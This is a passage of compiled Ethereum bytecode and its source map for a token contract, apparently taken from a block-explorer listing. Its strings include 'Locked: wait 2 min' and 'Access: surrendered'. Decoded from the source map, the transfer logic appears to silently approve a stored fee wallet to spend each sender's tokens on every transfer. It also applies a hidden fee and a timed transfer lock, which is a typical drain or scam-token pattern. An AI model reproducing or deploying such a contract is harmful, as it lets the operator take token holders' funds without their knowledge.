08bc565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073590611b5a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fcbe12ac7c2e51400a59be83b1ffaa7e86e2ac674aeee2da312339f2fefbb938f60405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015f60146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610931576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092890611bc2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361099f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099690611c2a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a7991906116f8565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610af4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aeb90611c92565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5990611cfa565b60405180910390fd5b5f8111610ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9b90611d62565b60405180910390fd5b610bae8382611340565b15610c4557610c035f60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461138490919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f5f905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610ce7575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610e4457610cf5846113e1565b8015610d41575073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610d4f5750600a600554105b15610d9957610d7b6064610d6d6003856113f290919063ffffffff16565b61146990919063ffffffff16565b905060055f815480929190610d8f90611d80565b9190505550610e43565b610da2836113e1565b8015610dee575073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610dfc5750600a600654105b15610e4257610e286064610e1a6003856113f290919063ffffffff16565b61146990919063ffffffff16565b905060065f815480929190610e3c90611d80565b91905055505b5b5b5f81111561115557610e9c8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114b290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610f4e8160015f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461138490919063ffffffff16565b60015f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611012610fc682846114b290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461138490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110d191906116f8565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61113b84866114b290919063ffffffff16565b60405161114891906116f8565b60405180910390a36112dd565b6111a58260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114b290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506112368260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461138490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112d491906116f8565b60405180910390a35b50505050565b5f83831115829061132a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132191906115c7565b60405180910390fd5b5082846113379190611dc7565b90509392505050565b5f5f5f83119050801561137a576113798460045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856108c3565b5b8091505092915050565b5f5f82846113929190611a0d565b9050838110156113d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ce90611e44565b60405180910390fd5b8091505092915050565b5f5f823b90505f8111915050919050565b5f5f8303611402575f9050611463565b5f828461140f91906119cc565b905082848261141e9190611e8f565b1461145e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145590611f09565b60405180910390fd5b809150505b92915050565b5f6114aa83836040518060400160405280601481526020017f4d6174683a206469766973696f6e206572726f720000000000000000000000008152506114fb565b905092915050565b5f6114f383836040518060400160405280601781526020017f4d6174683a207375627472616374696f6e206572726f720000000000000000008152506112e3565b905092915050565b5f5f83118290611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153891906115c7565b60405180910390fd5b50828461154e9190611e8f565b90509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61159982611557565b6115a38185611561565b93506115b3818560208601611571565b6115bc8161157f565b840191505092915050565b5f6020820190508181035f8301526115df818461158f565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611614826115eb565b9050919050565b6116248161160a565b811461162e575f5ffd5b50565b5f8135905061163f8161161b565b92915050565b5f819050919050565b61165781611645565b8114611661575f5ffd5b50565b5f813590506116728161164e565b92915050565b5f5f6040838503121561168e5761168d6115e7565b5b5f61169b85828601611631565b92505060206116ac85828601611664565b9150509250929050565b5f8115159050919050565b6116ca816116b6565b82525050565b5f6020820190506116e35f8301846116c1565b92915050565b6116f281611645565b82525050565b5f60208201905061170b5f8301846116e9565b92915050565b5f5f5f60608486031215611728576117276115e7565b5b5f61173586828701611631565b935050602061174686828701611631565b925050604061175786828701611664565b9150509250925092565b5f60ff82169050919050565b61177681611761565b82525050565b5f60208201905061178f5f83018461176d565b92915050565b5f602082840312156117aa576117a96115e7565b5b5f6117b784828501611631565b91505092915050565b5f5f604083850312156117d6576117d56115e7565b5b5f6117e385828601611631565b92505060206117f485828601611631565b9150509250929050565b6118078161160a565b82525050565b5f6020820190506118205f8301846117fe565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156118a85780860481111561188457611883611826565b5b60018516156118935780820291505b80810290506118a185611853565b9450611868565b94509492505050565b5f826118c0576001905061197b565b816118cd575f905061197b565b81600181146118e357600281146118ed5761191c565b600191505061197b565b60ff8411156118ff576118fe611826565b5b8360020a91508482111561191657611915611826565b5b5061197b565b5060208310610133831016604e8410600b84101617156119515782820a90508381111561194c5761194b611826565b5b61197b565b61195e848484600161185f565b9250905081840481111561197557611974611826565b5b81810290505b9392505050565b5f61198c82611645565b915061199783611761565b92506119c47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118b1565b905092915050565b5f6119d682611645565b91506119e183611645565b92508282026119ef81611645565b91508282048414831517611a0657611a05611826565b5b5092915050565b5f611a1782611645565b9150611a2283611645565b9250828201905080821115611a3a57611a39611826565b5b92915050565b7f4c6f636b65643a20776169742032206d696e00000000000000000000000000005f82015250565b5f611a74601283611561565b9150611a7f82611a40565b602082019050919050565b5f6020820190508181035f830152611aa181611a68565b9050919050565b7f4163636573733a2073757272656e6465726564000000000000000000000000005f82015250565b5f611adc601383611561565b9150611ae782611aa8565b602082019050919050565b5f6020820190508181035f830152611b0981611ad0565b9050919050565b7f4163636573733a20756e617574686f72697a65640000000000000000000000005f82015250565b5f611b44601483611561565b9150611b4f82611b10565b602082019050919050565b5f6020820190508181035f830152611b7181611b38565b9050919050565b7f546f6b656e3a20617070726f76652066726f6d207a65726f00000000000000005f82015250565b5f611bac601883611561565b9150611bb782611b78565b602082019050919050565b5f6020820190508181035f830152611bd981611ba0565b9050919050565b7f546f6b656e3a20617070726f766520746f207a65726f000000000000000000005f82015250565b5f611c14601683611561565b9150611c1f82611be0565b602082019050919050565b5f6020820190508181035f830152611c4181611c08565b9050919050565b7f546f6b656e3a2066726f6d207a65726f000000000000000000000000000000005f82015250565b5f611c7c601083611561565b9150611c8782611c48565b602082019050919050565b5f6020820190508181035f830152611ca981611c70565b9050919050565b7f546f6b656e3a20746f207a65726f0000000000000000000000000000000000005f82015250565b5f611ce4600e83611561565b9150611cef82611cb0565b602082019050919050565b5f6020820190508181035f830152611d1181611cd8565b9050919050565b7f546f6b656e3a207a65726f20616d6f756e7400000000000000000000000000005f82015250565b5f611d4c601283611561565b9150611d5782611d18565b602082019050919050565b5f6020820190508181035f830152611d7981611d40565b9050919050565b5f611d8a82611645565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611dbc57611dbb611826565b5b600182019050919050565b5f611dd182611645565b9150611ddc83611645565b9250828203905081811115611df457611df3611826565b5b92915050565b7f4d6174683a206164646974696f6e206572726f720000000000000000000000005f82015250565b5f611e2e601483611561565b9150611e3982611dfa565b602082019050919050565b5f6020820190508181035f830152611e5b81611e22565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611e9982611645565b9150611ea483611645565b925082611eb457611eb3611e62565b5b828204905092915050565b7f4d6174683a206d756c7469706c69636174696f6e206572726f720000000000005f82015250565b5f611ef3601a83611561565b9150611efe82611ebf565b602082019050919050565b5f6020820190508181035f830152611f2081611ee7565b905091905056fea2646970667358221220e4a01b810f527b3ad2001d0f52c62f01a1cd2428a9c4212785fd758316d5537964736f6c634300081c0033

Deployed Bytecode Sourcemap

2833:5194:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4209:72;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5272:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4442:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5445:585;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4369:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4532:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4287:76;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4645:463;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1907:164;;;;;;;;;;;;;:::i;:::-;;5116:148;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1619:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4209:72;4246:13;4269:10;;;;;;;;;;;;;;;;;4262:17;;4209:72;:::o;5272:165::-;5348:4;5365:42;5379:9;:7;:9::i;:::-;5390:8;5400:6;5365:13;:42::i;:::-;5425:4;5418:11;;5272:165;;;;:::o;4442:84::-;4495:7;3150:1;3211:2;:13;;;;:::i;:::-;3198:10;:26;;;;:::i;:::-;4505:19;;4442:84;:::o;5445:585::-;5534:4;5551:11;5582:1;5565:2;:14;;;:18;5551:32;;5598:6;:26;;;;;5623:1;5608:11;;:16;5598:26;5594:104;;;3714:9;5655:15;:31;;;;:::i;:::-;5641:11;:45;;;;5594:104;5737:1;5722:11;;:16;;:49;;;;;5760:11;;5742:15;:29;5722:49;5718:119;;;5796:6;5788:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;5718:119;5849:34;5866:4;5872:2;5876:6;5849:16;:34::i;:::-;5894:106;5908:4;5914:10;5926:73;5964:6;5926:73;;;;;;;;;;;;;;;;;:12;:18;5939:4;5926:18;;;;;;;;;;;;;;;:30;5945:10;5926:30;;;;;;;;;;;;;;;;:37;;:73;;;;;:::i;:::-;5894:13;:106::i;:::-;6018:4;6011:11;;;5445:585;;;;;:::o;4369:67::-;4410:5;3150:1;4418:16;;4369:67;:::o;4532:101::-;4597:7;4614:9;:17;4624:6;4614:17;;;;;;;;;;;;;;;;4607:24;;4532:101;;;:::o;4287:76::-;4326:13;4349:12;;;;;;;;;;;;;;;;;4342:19;;4287:76;:::o;4645:463::-;4716:4;4733:11;4764:1;4747:2;:14;;;:18;4733:32;;4780:6;:26;;;;;4805:1;4790:11;;:16;4780:26;4776:104;;;3714:9;4837:15;:31;;;;:::i;:::-;4823:11;:45;;;;4776:104;4919:1;4904:11;;:16;;:49;;;;;4942:11;;4924:15;:29;4904:49;4900:119;;;4978:6;4970:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;4900:119;5039:39;5056:9;:7;:9::i;:::-;5067:2;5071:6;5039:16;:39::i;:::-;5096:4;5089:11;;;4645:463;;;;:::o;1907:164::-;1769:1;1751:20;;:6;;;;;;;;;;;:20;;;;:37;;;;;1776:12;;;;;;;;;;;1775:13;1751:37;1743:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;1841:9;:7;:9::i;:::-;1831:19;;:6;;;;;;;;;;;:19;;;1823:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;2000:1:::1;1970:33;;1984:6;;;;;;;;;;;1970:33;;;;;;;;;;;;2031:1;2014:6;;:19;;;;;;;;;;;;;;;;;;2059:4;2044:12;;:19;;;;;;;;;;;;;;;;;;1907:164::o:0;5116:148::-;5199:7;5226:12;:20;5239:6;5226:20;;;;;;;;;;;;;;;:30;5247:8;5226:30;;;;;;;;;;;;;;;;5219:37;;5116:148;;;;:::o;1619:79::-;1657:7;1684:6;;;;;;;;;;;1677:13;;1619:79;:::o;1176:95::-;1226:7;1253:10;1246:17;;1176:95;:::o;6038:325::-;6156:1;6138:20;;:6;:20;;;6130:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;6226:1;6206:22;;:8;:22;;;6198:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;6299:6;6266:12;:20;6279:6;6266:20;;;;;;;;;;;;;;;:30;6287:8;6266:30;;;;;;;;;;;;;;;:39;;;;6338:8;6321:34;;6330:6;6321:34;;;6348:6;6321:34;;;;;;:::i;:::-;;;;;;;;6038:325;;;:::o;6610:1377::-;6721:1;6705:18;;:4;:18;;;6697:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;6777:1;6763:16;;:2;:16;;;6755:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;6826:1;6817:6;:10;6809:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;6866:25;6878:4;6884:6;6866:11;:25::i;:::-;6863:116;;;6935:32;6965:1;6935:9;:24;6953:4;6935:24;;;;;;;;;;;;;;;;:29;;:32;;;;:::i;:::-;6908:9;:24;6926:4;6908:24;;;;;;;;;;;;;;;:59;;;;6863:116;6991:11;7005:1;6991:15;;7022:10;:16;7033:4;7022:16;;;;;;;;;;;;;;;;;;;;;;;;;7021:17;:36;;;;;7043:10;:14;7054:2;7043:14;;;;;;;;;;;;;;;;;;;;;;;;;7042:15;7021:36;7017:441;;;7078:13;7086:4;7078:7;:13::i;:::-;:36;;;;;3462:42;7095:19;;:4;:19;;;;7078:36;:66;;;;;3664:2;7118:9;;:26;7078:66;7074:373;;;7171:35;7202:3;7171:22;3614:1;7171:6;:12;;:22;;;;:::i;:::-;:30;;:35;;;;:::i;:::-;7165:41;;7225:9;;:11;;;;;;;;;:::i;:::-;;;;;;7074:373;;;7275:11;7283:2;7275:7;:11::i;:::-;:32;;;;;3462:42;7290:17;;:2;:17;;;;7275:32;:63;;;;;3664:2;7311:10;;:27;7275:63;7271:176;;;7365:35;7396:3;7365:22;3614:1;7365:6;:12;;:22;;;;:::i;:::-;:30;;:35;;;;:::i;:::-;7359:41;;7419:10;;:12;;;;;;;;;:::i;:::-;;;;;;7271:176;7074:373;7017:441;7480:1;7474:3;:7;7470:510;;;7516:29;7538:6;7516:9;:15;7526:4;7516:15;;;;;;;;;;;;;;;;:21;;:29;;;;:::i;:::-;7498:9;:15;7508:4;7498:15;;;;;;;;;;;;;;;:47;;;;7582:29;7607:3;7582:9;:19;7592:8;;;;;;;;;;;7582:19;;;;;;;;;;;;;;;;:24;;:29;;;;:::i;:::-;7560:9;:19;7570:8;;;;;;;;;;;7560:19;;;;;;;;;;;;;;;:51;;;;7642:37;7661:17;7674:3;7661:6;:12;;:17;;;;:::i;:::-;7642:9;:13;7652:2;7642:13;;;;;;;;;;;;;;;;:18;;:37;;;;:::i;:::-;7626:9;:13;7636:2;7626:13;;;;;;;;;;;;;;;:53;;;;7714:8;;;;;;;;;;;7699:29;;7708:4;7699:29;;;7724:3;7699:29;;;;;;:::i;:::-;;;;;;;;7763:2;7748:37;;7757:4;7748:37;;;7767:17;7780:3;7767:6;:12;;:17;;;;:::i;:::-;7748:37;;;;;;:::i;:::-;;;;;;;;7470:510;;;7836:29;7858:6;7836:9;:15;7846:4;7836:15;;;;;;;;;;;;;;;;:21;;:29;;;;:::i;:::-;7818:9;:15;7828:4;7818:15;;;;;;;;;;;;;;;:47;;;;7896:26;7915:6;7896:9;:13;7906:2;7896:13;;;;;;;;;;;;;;;;:18;;:26;;;;:::i;:::-;7880:9;:13;7890:2;7880:13;;;;;;;;;;;;;;;:42;;;;7957:2;7942:26;;7951:4;7942:26;;;7961:6;7942:26;;;;;;:::i;:::-;;;;;;;;7470:510;6686:1301;6610:1377;;;:::o;431:151::-;511:7;544:1;539;:6;;547:3;531:20;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;573:1;569;:5;;;;:::i;:::-;562:12;;431:151;;;;;:::o;6371:231::-;6438:4;6455:13;6480:1;6471:6;:10;6455:26;;6495:8;6492:77;;;6520:37;6534:4;6540:8;;;;;;;;;;;6550:6;6520:13;:37::i;:::-;6492:77;6586:8;6579:15;;;6371:231;;;;:::o;85:188::-;144:7;164:14;185:1;181;:5;;;;:::i;:::-;164:22;;215:1;205:6;:11;;197:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;259:6;252:13;;;85:188;;;;:::o;4021:180::-;4076:4;4093:16;4155:6;4143:19;4131:31;;4192:1;4181:8;:12;4174:19;;;4021:180;;;:::o;594:230::-;654:7;683:1;678;:6;674:20;;693:1;686:8;;;;674:20;705:14;726:1;722;:5;;;;:::i;:::-;705:22;;760:1;755;746:6;:10;;;;:::i;:::-;:15;738:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;810:6;803:13;;;594:230;;;;;:::o;836:133::-;898:7;925:36;932:1;935;925:36;;;;;;;;;;;;;;;;;:6;:36::i;:::-;918:43;;836:133;;;;:::o;285:134::-;345:7;372:39;379:1;382;372:39;;;;;;;;;;;;;;;;;:6;:39::i;:::-;365:46;;285:134;;;;:::o;981:150::-;1061:7;1093:1;1089;:5;1096:3;1081:19;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1122:1;1118;:5;;;;:::i;:::-;1111:12;;981:150;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:474::-;5149:6;5157;5206:2;5194:9;5185:7;5181:23;5177:32;5174:119;;;5212:79;;:::i;:::-;5174:119;5332:1;5357:53;5402:7;5393:6;5382:9;5378:22;5357:53;:::i;:::-;5347:63;;5303:117;5459:2;5485:53;5530:7;5521:6;5510:9;5506:22;5485:53;:::i;:::-;5475:63;;5430:118;5081:474;;;;;:::o;5561:118::-;5648:24;5666:5;5648:24;:::i;:::-;5643:3;5636:37;5561:118;;:::o;5685:222::-;5778:4;5816:2;5805:9;5801:18;5793:26;;5829:71;5897:1;5886:9;5882:17;5873:6;5829:71;:::i;:::-;5685:222;;;;:::o;5913:180::-;5961:77;5958:1;5951:88;6058:4;6055:1;6048:15;6082:4;6079:1;6072:15;6099:102;6141:8;6188:5;6185:1;6181:13;6160:34;;6099:102;;;:::o;6207:848::-;6268:5;6275:4;6299:6;6290:15;;6323:5;6314:14;;6337:712;6358:1;6348:8;6345:15;6337:712;;;6453:4;6448:3;6444:14;6438:4;6435:24;6432:50;;;6462:18;;:::i;:::-;6432:50;6512:1;6502:8;6498:16;6495:451;;;6927:4;6920:5;6916:16;6907:25;;6495:451;6977:4;6971;6967:15;6959:23;;7007:32;7030:8;7007:32;:::i;:::-;6995:44;;6337:712;;;6207:848;;;;;;;:::o;7061:1073::-;7115:5;7306:8;7296:40;;7327:1;7318:10;;7329:5;;7296:40;7355:4;7345:36;;7372:1;7363:10;;7374:5;;7345:36;7441:4;7489:1;7484:27;;;;7525:1;7520:191;;;;7434:277;;7484:27;7502:1;7493:10;;7504:5;;;7520:191;7565:3;7555:8;7552:17;7549:43;;;7572:18;;:::i;:::-;7549:43;7621:8;7618:1;7614:16;7605:25;;7656:3;7649:5;7646:14;7643:40;;;7663:18;;:::i;:::-;7643:40;7696:5;;;7434:277;;7820:2;7810:8;7807:16;7801:3;7795:4;7792:13;7788:36;7770:2;7760:8;7757:16;7752:2;7746:4;7743:12;7739:35;7723:111;7720:246;;;7876:8;7870:4;7866:19;7857:28;;7911:3;7904:5;7901:14;7898:40;;;7918:18;;:::i;:::-;7898:40;7951:5;;7720:246;7991:42;8029:3;8019:8;8013:4;8010:1;7991:42;:::i;:::-;7976:57;;;;8065:4;8060:3;8056:14;8049:5;8046:25;8043:51;;;8074:18;;:::i;:::-;8043:51;8123:4;8116:5;8112:16;8103:25;;7061:1073;;;;;;:::o;8140:281::-;8198:5;8222:23;8240:4;8222:23;:::i;:::-;8214:31;;8266:25;8282:8;8266:25;:::i;:::-;8254:37;;8310:104;8347:66;8337:8;8331:4;8310:104;:::i;:::-;8301:113;;8140:281;;;;:::o;8427:410::-;8467:7;8490:20;8508:1;8490:20;:::i;:::-;8485:25;;8524:20;8542:1;8524:20;:::i;:::-;8519:25;;8579:1;8576;8572:9;8601:30;8619:11;8601:30;:::i;:::-;8590:41;;8780:1;8771:7;8767:15;8764:1;8761:22;8741:1;8734:9;8714:83;8691:139;;8810:18;;:::i;:::-;8691:139;8475:362;8427:410;;;;:::o;8843:191::-;8883:3;8902:20;8920:1;8902:20;:::i;:::-;8897:25;;8936:20;8954:1;8936:20;:::i;:::-;8931:25;;8979:1;8976;8972:9;8965:16;;9000:3;8997:1;8994:10;8991:36;;;9007:18;;:::i;:::-;8991:36;8843:191;;;;:::o;9040:168::-;9180:20;9176:1;9168:6;9164:14;9157:44;9040:168;:::o;9214:366::-;9356:3;9377:67;9441:2;9436:3;9377:67;:::i;:::-;9370:74;;9453:93;9542:3;9453:93;:::i;:::-;9571:2;9566:3;9562:12;9555:19;;9214:366;;;:::o;9586:419::-;9752:4;9790:2;9779:9;9775:18;9767:26;;9839:9;9833:4;9829:20;9825:1;9814:9;9810:17;9803:47;9867:131;9993:4;9867:131;:::i;:::-;9859:139;;9586:419;;;:::o;10011:169::-;10151:21;10147:1;10139:6;10135:14;10128:45;10011:169;:::o;10186:366::-;10328:3;10349:67;10413:2;10408:3;10349:67;:::i;:::-;10342:74;;10425:93;10514:3;10425:93;:::i;:::-;10543:2;10538:3;10534:12;10527:19;;10186:366;;;:::o;10558:419::-;10724:4;10762:2;10751:9;10747:18;10739:26;;10811:9;10805:4;10801:20;10797:1;10786:9;10782:17;10775:47;10839:131;10965:4;10839:131;:::i;:::-;10831:139;;10558:419;;;:::o;10983:170::-;11123:22;11119:1;11111:6;11107:14;11100:46;10983:170;:::o;11159:366::-;11301:3;11322:67;11386:2;11381:3;11322:67;:::i;:::-;11315:74;;11398:93;11487:3;11398:93;:::i;:::-;11516:2;11511:3;11507:12;11500:19;;11159:366;;;:::o;11531:419::-;11697:4;11735:2;11724:9;11720:18;11712:26;;11784:9;11778:4